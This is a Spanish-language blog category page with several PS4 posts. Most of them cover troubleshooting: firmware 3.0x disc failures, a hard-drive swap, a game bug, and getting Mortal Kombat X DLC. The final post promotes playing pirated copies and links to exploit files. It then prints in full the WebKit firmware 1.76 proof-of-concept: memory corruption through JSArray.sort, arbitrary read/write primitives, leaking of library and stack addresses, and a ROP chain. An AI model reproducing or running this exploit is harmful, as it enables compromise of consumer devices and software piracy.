Archivos de la categoría PlayStation 4 (PS4)

PS4 Firmware 3.0x Bricks your PS4! Confirmed!

Confirmado, si te atreves a actualizar tu PS4 al último firmware 3.0 o 3.01, no podrás jugar todos los juegos físicos, y peor aun, no podrás apagar tu consola, o ponerla en reposo, ni mucho menos sacar el disco.

La única forma de poder sacarla de este loading eterno es quitando la energía eléctrica, es decir, desconectandola, lo que puede dañar tu consola.

En mi caso, al hacerlo la primera vez y cada vez que lo intente, hacía una comprobación del almacenamiento del sistema y se reiniciaba. Pero a la segunda vez, y tercera no lo hizo automáticamente, por lo que tube que encenderla manualmente. Una vez encendida, tube que darle al botón de expulsar el disco de juego, y asi, pudo terminar de hacer la comprobación del disco.

Los juegos digitales funcionan perfectamente, hasta el momento. Pero no todos mis juegos físicos, no funcionan.

Juegos físicos con los que lo intenté :

  • Wolfenstein : The New Order (Bethesda Softworks : No funciona)
  • Mortal Kombat X  (Si, funcionó a la perfección)
  • Raymand Legends (Ubisoft : Funciona bien.)
  • Watch Dogs (Ubisoft : Funciona bien)
  • Marvel Super Heroes (Marvel : Funciona bien)

Luego de esta pequeña prueba, he caido en el que el problema no es el firmware de la PS4, sino, que al parecer, el servidor de Bethesda esta con problemas o abajo. Para lo cual realicé la siguiente prueba :

  1. Apagar el internet de la consola.
  2. Intentar jugar de nuevo Wolfenstein : The New Order.
  3. Ver que pasa!!!

Resultado : El mismo, el juego de Wolfenstein: The New Order, no funciona con el firmware 3.0 y 3.01 de la PS4. Lo que indica que no es porque el servidor de dicha productora del juego este o no abajo, es simplemente, que algo cambio en en la consola que no permite que se pueda continuar jugando este juego en específico.

Ya veremos que pasa en un futuro, o como se resuelve este problema. Y seguir investigando a ver cuales juegos ya no funcionan después de la nueva actualización de la PS4.

Experimento No 2 :

Desinstalar el juego  y volver a reinstalarlo.

Con esto, perdere todos los datos y trofeos que tengo guardado en la consola, o al menos eso parece. Pero sea todo por la ciencia del videojuego!!! :)

  1. Desinstalamos el juego sin la actualizacion. Y para mi sorpresa, inicia sin ningun problema, como el descrito anteriormente. Y mis datos y logros anteriores, continuan activos. Grata sorpresa!

2. Luego de descargar la actualizacion 1.01, cerramos el juego, y lo intentamos de nuevo. … Y chan, chan, chaaaannn!!!! Luego de instalar este update, todo sigue funcionando.

Bien, al parecer parece que este inconveniente se soluciona volviendo a instalar el juego. Y puede ser que para los demás, sea igual la solución. Así, que ah por ellos! Bombasos y tiroteos por a cualquier cosa que se mueva!!!!

PS4 firmware downgrade

ps4_linuxPRecientemente he notado que que al actualizar la Playstation 4 o PS4 a su última actualización, los juegos físicos dejaron de funcionar, y al parecer no es mi problema únicamente, si no de muchos usuarios de la consola.

Pues como pude solucionar el problema, ha sido un poco de intuición, y tomar a la ps4 como una computadora de escritorio.  Por lo que simplemente, formatee el disco duro, y eliminé la partición. Instalando, para la consola, un nuevo disco duro. Seguido de ello, solo he de seguir el proceso normal de actualización, o bien, puedo actualizar a la versión que permite jugar con backups de mis discos. Claro, esto invalida la garantía de mi consola si lo hiciera, pero es posible.

Luego de actualizar, podremos descargar de nuevo, todos los juegos digitales ya comprados. Y ahi termina el problema de un firmware con errores.

PS4: Extrae disco y no permite reinsercion.

PS4Desde hace un tiempo se viene comentando que se puede jugar fuera de linea (offline), es decir, sin estar conectado al internet todos los juegos de PS4. Fantástico dijeron todos, pero, al parecer no es así, o es solo un error del Juego o de mi consola PlayStation 4.

Recientemente me he comprado Lego: The Movie para PS4 en sus plásticos, brand new, o totalmente nuevo, para evitar rayaduras, y ya que el juego solo cuesta 20 dolares, no vi problema con su precio. Elimino mi demo del juego para crear mas espacio, lo actualizo y a jugar.

Cuando avanzas hasta el nivel de La Tierra Cucu, y seleccionas un unicornio rosado en vez del maestro construtor, das unas vueltas, a los pocos segundos, se extrae el disco, y la consola (PS4) no me permite volver a introducirlo. Que raro, pero continuo.

Por experiencia se que este problema se resuelve reiciando la PlayStation 4, mejor dicho, no reiniciandola, apagandola, para luego volver a encenderla. He repetido los mismos pasos y confirmo que la conducta de extraer el disco continua. Y esta vez me dice que no se ha podido conectar al internet.

Bien, apago y enciendo de nuevo la PS4, verifico que este conectada a la internet, inicio el juego y hago el mismo procedimiento, en esta ocasion, pude notar que tardo algo mas en extraer el disco. Al final, ni re-encendiendo la consola me permitio jugar de nuevo ese juego.

Esta situación, no solo me ha ocurrido con este juego, tambien con otros tantos a los pocos meses de salir la PS4, resolviendose con las actualizaciones de los juegos.  Lo que me confirma, que estos juegos son sacados al vapor y no son probados lo suficiente para verificar que todo funciona bien.

En conclusión, no debemos comprar juegos recien salidos al mercado, ya que es casi un 100% seguro de que no hayan invertido el tiempo suficiente para hacer el proceso de prueba y correcion de errores para evitar que pasen errores como estos a los usuarios.

Que Dolor de Cabeza: DLC Kombat Pack de Mortal Kombat X PS4!

MortalKombatX_KollectorsEdition01

 

 

 

 

 

 

Que dolor de dolor de cabeza para obtener el DLC de Mortal Kombat X, llamado Kombat Pak.

Lo primero que el proceso para descargarlo parece demasiado complicado, y en segunda instancia, deberia hacerse desde el mismo juego. O en el caso de las ediciones de Kollectors y Premiun deberia ya estar dentro del mismo disco.

Bien, esta es la odisea.

Primero, instalas Mortal Kombat X (en mi caso, en PS4) y luegos descargas las actualizaciones. Una vez instaladas, inicias a reclamar los codigos de Goro, el Skin dorado de Scorpion, y luego el Kombat Pak.

Notaras que en tu perfil, figurara como Seanson Pass, aunque no descargue nada.  Ya que lo hara cuando este disponible. Esto era valido en abril. La realidad es que ya ha pasado Julio 2015, y realmente deben estar disponibles, es lo que pense logicamente.

Como puedo descargar mis personajes y skins del Kombat Pak :

Pues en el icono del juego, te vas a elementos relacionados o Add-ons, y veras, que los personajes y skins del kombat pak, ahora te aparecen gratuitos, y el kombat pak aparece como comprado.

MKX Kombat Pak

Una accion, que creo tal vez no debi hacer, fue la de Restaurar las licencias, debido a que creo que solo es una mala informacion por parte de la productora del juego.

Este proceso sigue asi :

1. Entrar a Configuraciones (Settings)

2. Entrar a Manejo (Managements)

3. Restaurar Licencias.

Despues de restaurar las licencias,

1. Presionar el boton PS

2. Seleccionar el icono del Juego, solo seleccionar.

3. Presionar el boton de Abajo,Flecha Abajo, o direccion Abajo. (Era mas facil en Nes, solo habia un  boton hacia abajo!)

4. Buscar Elementos relacionados o Add-Ons.

5. Seleccionar todos los elementos gratuitos y descargarlos, ya que dentro de estos elementos, se encontraran los que fueron comprados con el Kombat Pak.

6. Esperar la descarga y posterior instalacion, antes de poder jugar con nuestros personajes.

 

Dios, esto si que ha sido un evento para aprender en casos futuros, y con otros juegos. Es la clara prueba de que aun no hemos explorado por completo nuestra consola (en mi caso PS4), por lo que debere revisar cada juego a ver que otro contenido gratuito tendre esperando. En especial un viejo codigo para un Demo de Doom que aun no veo.

Espero con esto, para muchos, se solucione el problema del Kombat Pak.  Choose your Destiny! Hahahahah!!!!

Como Hackear mi PlayStation 4 (PS4 Hack)

Sí, lo han logrado ejecutar copias piratas de juegos en la PlayStation 4 (PS4), a través de un exploit llamado Webkit firmware 1.76. Esto lo han logrado a traves del explorador de internet del Playstation 4 o PS4. En cuanto salga un exploit para el firmware 2.57 de PS4, o el último firmware, de seguro lo descarga en este mismo artículo.

Aqui les dejo el FirmWare 1.76 TestKit de la Playstation 4 (PS4), y el FirmWare 1.76 DevKit, ademas de la Actualizacion del Controlador .

Los archivos dicen en la página que están en :

http://wololo.net/downloads/index.php/download/8230

Pero como han de saber, al parecer de tanto trafico que obtuvo, el sitio cayo.  Y aunque dicen que pueden bajarlo desde ahi, ya no esta disponible por problemas de performance.

He logrado encontrar los archivos necesarios para lograr este hack, y los he subido para descargar en este link propio que si funciona : ps4_176_poc .

h1b

 

Su versión del firmware deberá ser la 1.76.

Les recuerdo, que modificar su PS4 en este caso, inválida su garantía.  Dicho esto, les dejo el código fuente de un dump o backup para hackear y/o ejecutar el exploit en la PlayStation 4 (PS4). Solo en caso de alguno de ustedes entienda algo de lo que dice!

Y no garantizo que funcione, eso se los dejo a aquellos aventureros que quieran probar con su ps4.

 

<html>
<body>
<h2>PS4 POC</h2><h3>by nas and Proxima</h3></br>
<script src=”inc/utils.js”></script>
<script src=”inc/jquery.js”></script>
<script type=”text/javascript”>

// global vars
var _gc, _cnt = 0;

function tryExplMac64(att)
{
try {
//
// Part 1: getting the Uint32Array object address
//
// init vars
var u32 = new Uint32Array(0x100);
var a1 = [0,1,2,3,u32];
var a2 = [0,1,2,3,4]; // right after a1
var a1len = a1.length;
var a2len = a2.length;
var u32len = u32.length;

// protect local vars from GC // for gdb
if (!_gc) _gc = new Array();
_gc.push(u32,a1,a2);

// declare custom compare function
var myCompFunc = function(x,y)
{
// check for the last call for last two array items
if (y == 3 && x == u32) {
//logAdd(“myCompFunc(u32,3)”);
// shift() is calling during sort(), what causes the
// last array item is written outside the array buffer
a1.shift();
}
return 0;
}

// call the vulnerable method – JSArray.sort(…)
a1.sort(myCompFunc);

// check results: a2.length should be overwritten by a1[4]
var len = a2.length;
//logAdd(“a2.length = 0x” + len.toString(16));
if (len == a2len) { logAdd(“error: 1”); return 1; }

//
// Part 2: creating corrupted JSValue which points to the (u32+0x18) address
//

// modify our compare function
myCompFunc = function(x,y)
{
if (y == 0 && x == 1) {
//logAdd(“myCompFunc(1,0)”);
// call shift() again to read the corrupted JSValue from a2.length
// into a1[3] on the next sort loop
a1.length = a1len;
a1.shift();
// modify JSValue
a2.length = len + 0x18;
}
if (y == 3) {
//logAdd(“myCompFunc(x,3)”);
// shift it back to access a1[3]
a1.unshift(0);
}
return 0;
}

a1.sort(myCompFunc);

// now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18)
var c = a2.length;
//logAdd(“a2.length = 0x” + c.toString(16));
if (c != len + 0x18) { logAdd(“error: 2”); a1[3] = 0; return 2; }

//
// Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h)
//

// generate dummy JS functions
var f, f2, f2offs, f2old, funcs = new Array(30);
c = funcs.length;
for(var i=0; i < c; i++){
f = new Function(“arg”, ” return 876543210 + ” + (_cnt++) + “;”);
f.prop2 = 0x12345600 + i;
funcs[i] = f;
}

// generate JIT-code
for(var i=c-1; i >= 0; i–) { funcs[i](i); }

// prepare objects for the third sort() call
var mo = {};
var pd = { set: funcs[0], enumerable:true, configurable:true }
var a3 = [0,1,2,a1[3]];

// allocate mo’s property storage right after a3’s buffer
Object.defineProperty(mo, “prop0”, pd);
for(var i=1; i < 5; i++){
mo[“prop”+i] = i;
}

// protect from GC
_gc.push(a3,mo,funcs);

// use sort-n-shift technique again
myCompFunc = function(x,y)
{
// check for the last call for two last array items
if (y == 2) {
//logAdd(“myCompFunc(a3[3],2)”);
// a3[3] will be written over the mo.prop0 object
a3.shift();
}
return 0;
}

// overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18
a3.sort(myCompFunc);

// u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object.
// we should put some valid pointers into GetterSetter
u32.prop1 = u32;     // GetterSetter.m_structure
u32.prop2 = 8;         // 8 = JSType.GetterSetterType
u32.prop1 = a1[3];  // bypass JSCell::isGetterSetter()

// clear corrupted JSValue
a1[3] = 0; a3[3] = 0;

// overwrite u32.m_impl by some JSFunction object
f = funcs[c-5];
pd.set = f;
Object.defineProperty(mo, “prop0”, pd);

// check results: u32.length is taken from f’s internals now
//logAdd(“u32.length = 0x” + u32.length.toString(16));
if (u32.length == u32len) { logAdd(“error: 3”); return 3; }

//
//  Part 4: getting the JIT-code memory address
//

// declare aux functions
var setU64 = function(offs, val) {
u32[offs]   = val % 0x100000000;
u32[offs+1] = val / 0x100000000;
}
var getU64 = function(offs) {
return u32[offs] + u32[offs+1] * 0x100000000;
}
var getU32 = function(offs) {
return u32[offs];
}
var getObjAddr = function(obj) {
// write obj into u32 data
pd.set.prop2 = obj;
// read obj address from u32
return getU64(2);
}

// get the memory address of u32
var u32addr = getObjAddr(u32);
//logAdd(“u32 address = 0x” + u32addr.toString(16));
// get the memory address of u32[0] (ArrayBufferView.m_baseAddress)
var u32base = getObjAddr(pd.set) + 0x20;
var u32base0 = u32base;
//logAdd(“u32 base = 0x” + u32base.toString(16));

// on x64 platforms we can’t just set u32.length to the huge number
// for ability to access arbitrary addresses. We should be able to
// modify the u32’s buffer pointer on-the-fly.
var setBase = function(addr){
if (!f2) {
// search for another JSFunction near “f”
for(var i=0x12; i < 0x80; i+=0x10){
if ((u32[i] >>> 8) == 0x123456) {
f2 = funcs[u32[i] & 0xFF];
f2offs = i – 6;
f2old = getU64(f2offs);
break;
}
}
logAdd(“f2offs = 0x” + f2offs);
if (!f2) { return false; }

}
if (pd.set != f) {
pd.set = f;
Object.defineProperty(mo, “prop0”, pd);
u32base = u32base0;
}
if (addr == null) return true;

// this will be the new value for ((ArrayBufferView)u32).m_baseAddress
setU64(f2offs, addr);

// overwrite ((JSUint32Array)u32).m_impl again
pd.set = f2;
Object.defineProperty(mo, “prop0”, pd);

u32base = addr;
//logAdd(“u32 new base = 0x” + u32base.toString(16));

return true;
}

// read/write the 64-bit value from the custom address
var getU64from = function(addr) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return getU64((addr – u32base) >>> 2);
}
var setU64to = function(addr,val) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return setU64((addr – u32base) >>> 2, val);
}

//logAdd(“u32 size: 0x” + u32.length.toString(16));

// Get the object table from the origianl heap address
// +0x20 is a pointer we can use for some object

var xx = getU64from(u32base0+0x20);
var yy=0;
//logAdd(“verify base: 0x”+xx.toString(16) );

//
// This is the only part you need to modify
//
//
//
// First, the heap array has a pointer into a function
// in WebKit2. The one I’m using is always at +0x20 from
// the original base at +0x20.

// 1.70 PS4 = -0x30bf0 is the start of webkit

// +0x25C4000 = some data
// +0x2414000 = import table
// (import table +0x20) =  modules table
// If this crashes, try it 2-4 more times. It usually will work

// target addr for the rop chain

var chain_addr = u32base0 + 0x80000;
var chain_data = u32base0 + 0x88000;

// xx will be the base address of WebKit2

xx = (getU64from(xx+0x20)-0x30bf0);
var wk_base = xx;
logAdd(“WebKit2 base address = 0x” + xx.toString(16));
xx += 0x2414000; // Get to the import table
setBase(xx);

xx = getU64from(xx+0x20); // Get to the module table
// Future use: data area somewhere around 0x200500000

//logAdd(“Dump Address is 0x” + xx.toString(16));

setBase(xx);

//get libSceLibcinternal base
//var libc_int_base = getU64from(xx+0xf98); //1.71
var libc_int_base = getU64from(xx+0x1628); //1.71

//get libkernel base
//xx = getU64from(xx+0xdd8); //1.71
xx = getU64from(xx+0x1468); //1.76
var libkernel_base = xx;

setBase(xx);

//get stack base
//xx = getU64from(xx+0x3D890); //1.76 webkit2 stack?
xx = getU64from(xx+0x5B278); //1.76 webprocess stack
//yy = getU64from(xx+0x5AA70); //1.71
var stack_base = xx – 0x4000;
//yy = getU64from(xx+0x5AA70);

logAdd(“libkernel Base is 0x” + libkernel_base.toString(16));
logAdd(“libSceLibcinternal Base is 0x” + libc_int_base.toString(16));
logAdd(“Stack Base is 0x” + stack_base.toString(16));
logAdd(“Chain Address is 0x” + chain_addr.toString(16));

//var return_va = 0x2b38; //1.71
var return_va = 0x2b38; //1.76
//var old_va = getU64from(return_va);
//var old_va8 = getU64from(return_va+8);

// ***************** ROP START *********************

// store data
// none
// store ROP chain
setU64to(chain_addr + 0, wk_base + 735703);
// point a return address of the stack to our chain
setU64to(stack_base + return_va + 8, chain_addr);
setU64to(stack_base + return_va, wk_base + 392117);

// ***************** ROP END ***********************

// cleanup

// restore f2 object
if (f2old) {
setBase(null); setU64(f2offs, f2old);
}

// delete corrupted property
delete mo.prop0;

}
catch(e) {
logAdd(e);
}

return 0;
}

// “Start” button onclick handler
function btnClick()
{
try {
logAdd(“======== Start ========”);

// check OS version
//if (navigator.platform != “MacIntel”) { logAdd(“<font color=red>This works for Mac OS X only!</>”); return; }

// try several attempts to exploit
for(var i=1; i < 5; i++){
logAdd(“<br/>Attempt #” + i + “:”);
if (tryExplMac64(i) == 0) break;
}

logAdd(“<br/>========&nbsp;End &nbsp;========<br/><br/>”);
}
catch(e) {
logAdd(e);
}

_log = null;
}

// print environment info
writeEnvInfo();

</script>

<button style=”width:100px;” onclick=”btnClick();”>Start</button>
<br/><br/>
<div id=”log”></div><br>
</body>
</html>